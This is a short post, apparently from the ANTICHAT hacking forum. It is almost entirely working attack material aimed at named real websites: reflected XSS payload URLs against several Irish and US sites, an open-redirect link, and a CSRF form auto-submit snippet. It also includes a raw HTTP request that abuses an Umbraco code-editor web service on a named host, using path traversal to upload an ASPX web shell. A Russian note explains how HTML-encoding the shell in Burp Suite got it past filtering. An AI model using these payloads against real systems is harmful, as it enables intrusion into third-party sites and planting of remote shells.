ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
http://www.academyplazahotel.ie/booknow.php?bg=FFFFFF&color='"-->alert(1234567890)

Code:
http://www.cleanrooms-ireland.ie/w/link.cfm?w_y=4&w_u='"-->alert(1234567890)

Code:
http://www.cleanrooms-ireland.ie/w/llink.cfm?w_y=4&w_u=http://google.com

Code:
http://forums.somethingawful.com/account.php?action=loginform&next=/member.php"()%26%25alert(1234567890)

Code:
http://www.zoommoola.com/?ref='"-->alert(1234567890)

Code:
http://www.usatestprep.com/modules/map/_brains/map_product.php?id=&page=landing'"()&%alert(123456)

Code:

        
        
    
     HTMLFormElement.prototype.submit.call(document.forms[0]);

Code:
POST /umbraco/webservices/codeEditorSave.asmx HTTP/1.1
SOAPAction: "http://tempuri.org/SaveDLRScript"
Content-Type: text/xml
Host: ecb.md
Content-Length: 710
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

    
        
            /..\\..\\..\\umbraco\\shell.aspx
            string
            

Код шелла .aspx,в burpsuite выбираем
Convert selection->Html->Html encode key characters
так прошел через фильтрацию

            1